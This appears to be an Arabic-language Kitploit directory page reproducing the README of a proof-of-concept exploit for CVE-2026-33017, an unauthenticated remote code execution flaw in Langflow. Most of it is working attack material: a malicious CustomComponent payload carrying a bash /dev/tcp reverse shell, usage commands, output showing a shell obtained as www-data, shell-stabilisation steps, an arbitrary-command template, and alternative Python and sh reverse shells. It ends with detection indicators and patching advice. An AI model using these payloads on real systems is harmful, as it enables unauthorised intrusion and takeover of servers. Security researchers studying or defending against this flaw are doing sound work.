Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

استغلال لثغرة CVE-2026-33017، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) غير مصادق عليها في Langflow، تتيح الحصول على قشرة عكسية عبر حمولة CustomComponent خبيثة.

عرض المستودع
10منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 - استغلال تنفيذ الأوامر عن بُعد غير المُصادق عليه في Langflow

📋 نظرة عامة

CVE-2026-33017 هو ثغرة تنفيذ أوامر عن بُعد (RCE) غير مُصادق عليها في إصدارات Langflow <= 1.8.2. توجد الثغرة في نقطة النهاية /api/v1/build_public_tmp/{flow_id}/flow، التي تفتقر إلى المصادقة المناسبة وتسمح للمهاجمين بتنفيذ كود Python تعسفي أثناء عملية تجميع الرسم البياني.

⚠️ إخلاء مسؤولية

هذا الاستغلال لأغراض تعليمية واختبارات مصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

🎯 الإصدارات المتأثرة

الإصدارالحالة
<= 1.8.2قابل للاستغلال
1.9.0تم إصلاحه

🔍 تفاصيل الثغرة

السبب الجذري

تنبع الثغرة من دالة prepare_global_scope() في ملف validate.py، التي تستدعي exec() على كود كل عقدة CustomComponent دون عزل (sandboxing) مناسب. عند تحميل/تجميع مكوّن، يتم تنفيذ أي كود Python على مستوى الوحدة (خارج تعريفات الفئات) فورًا.

نقطة النهاية القابلة للاستغلال

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

الخصائص:

  • ❌ لا تتطلب مصادقة
  • ❌ لا تتطلب مفتاح API
  • ❌ لا تتطلب ترويسة تفويض
  • ✅ البيانات التي يتحكم بها المهاجم تُمرَّر مباشرة إلى باني الرسم البياني

سلسلة تنفيذ الكود

root@kitploit:~
Attacker POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← تنفيذ كود تعسفي

🛠️ الاستغلال

المتطلبات الأساسية

  1. معرف تدفق عام (UUID) من مثيل Langflow
  2. عنوان الهدف (مثيل Langflow)
  3. عنوان IP ومنفذ المستمع للقشرة العكسية

التثبيت

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

المتطلبات

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

الاستخدام

الصيغة الأساسية

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

أمثلة

1. قشرة عكسية

root@kitploit:~
# تشغيل المستمع
nc -lvnp 4444

# تشغيل الاستغلال
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. استخدام الخيارات المختصرة

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. اختبار محلي

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. مهلة مخصصة

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

وسائط سطر الأوامر

الوسيطةالمختصرمطلوبةالوصف
--url-uنعمعنوان الهدف (مثل: https://target.langflow.com)
--flow-id-fنعممعرف التدفق (UUID) للتدفق العام
--lhost-lhنعمعنوان IP للمستمع للقشرة العكسية
--lport-lpنعممنفذ المستمع للقشرة العكسية
--timeout-tلامهلة HTTP بالثواني (الافتراضي: 15)

🔧 كيف يعمل

1. بنية الحمولة

يرسل الاستغلال عقدة CustomComponent خبيثة تنفذ كودًا على مستوى الوحدة:

root@kitploit:~
import os

# يتم تنفيذ هذا فورًا أثناء تحميل المكوّن
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. تدفق التنفيذ

root@kitploit:~
1. يرسل المهاجم طلب POST إلى /api/v1/build_public_tmp/{flow_id}/flow
2. يستقبل Langflow الـ CustomComponent الخبيث
3. تستدعي prepare_global_scope() دالة exec() على كود المكوّن
4. يتم تنفيذ الكود على مستوى الوحدة فورًا
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. تتصل القشرة العكسية بمستمع المهاجم
6. يستمر تجميع الرسم البياني (ولكن الأوان فات)

3. لماذا يعمل

  • التنفيذ على مستوى الوحدة: يتم تنفيذ الكود خارج تعريفات الفئات أثناء exec()
  • بدون عزل: يتم استدعاء exec() دون قيود
  • بدون مصادقة: نقطة النهاية متاحة للجمهور
  • بيانات يتحكم بها المهاجم: معامل data مضمّن مباشرة

📊 إثبات المفهوم

مخرجات الاستغلال الناجح

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] تأكد من تشغيل المستمع:
    nc -lvnp 4444

[+] عنوان الهدف: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] جاري إرسال حمولة الاستغلال...
[+] رمز الحالة: 200
[+] تم إرسال الاستغلال بنجاح!
[+] معرف المهمة: abc123-def456-789ghi

[*] تحقق من المستمع للحصول على القشرة العكسية!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 استخدام متقدم

تثبيت القشرة

بمجرد حصولك على قشرة عكسية:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# أو استخدام script
script /dev/null -c bash

# الإرسال للخلفية باستخدام Ctrl+Z
# ثم تشغيل:
stty raw -echo
fg
reset
export TERM=xterm

تنفيذ أوامر مخصصة

عدّل السكربت لتنفيذ أوامر تعسفية بدلاً من القشرة العكسية:

root@kitploit:~
# في دالة build_payload():
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

حمولات بديلة

1. قشرة عكسية عبر Python Socket

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. قشرة عكسية عبر /bin/sh (إذا لم يكن bash متاحًا)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ الاكتشاف والوقاية

مؤشرات الاكتشاف

  • طلبات POST إلى /api/v1/build_public_tmp/*/flow دون مصادقة
  • كود CustomComponent مشبوه يحتوي على os.system() أو subprocess
  • ملفات غير متوقعة مثل /tmp/rce-proof أو /tmp/executed
  • اتصالات صادرة من حاويات Langflow

إجراءات الوقاية

  1. تطبيق التصحيح: قم بالتحديث إلى Langflow 1.9.0 أو أحدث
  2. تنفيذ المصادقة: أضف مصادقة مناسبة إلى نقطة النهاية /build_public_tmp
  3. التحقق من المدخلات: عقم إدخال الكود لـ CustomComponent
  4. العزل (Sandboxing): نفذ عزلًا مناسبًا لاستدعاءات exec()
  5. تقسيم الشبكة: اعزل مثيلات Langflow

📚 المراجع

  • تنبيه GitHub: GHSA-vwmf-pq79-vjvx - تنبيه CVE-2026-33017 الرسمي
  • إدخال CVE: CVE-2026-33017 على NVD
  • مستودع Langflow على GitHub: langflow-ai/langflow
  • OWASP Top 10 - A03:2021 Injection: ورقة غش الوقاية من الحقن

🗺️ الجدول الزمني

التاريخالحدث
مارس 2026اكتشاف الثغرة
16 مارس 2026نشر تنبيه GitHub
أبريل 2026الكشف العام
أبريل 2026إصدار التصحيح (1.9.0)

📝 الترخيص

هذا المشروع لأغراض تعليمية فقط. استخدمه على مسؤوليتك الخاصة.

⚖️ إشعار قانوني

يُوفَّر هذا البرنامج لأغراض تعليمية واختبارات أمنية مصرح بها فقط. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون وحدهم مسؤولية الامتثال لجميع القوانين واللوائح المعمول بها.


صُنع بـ 🖤 لأبحاث الأمن

تنزيل الأداة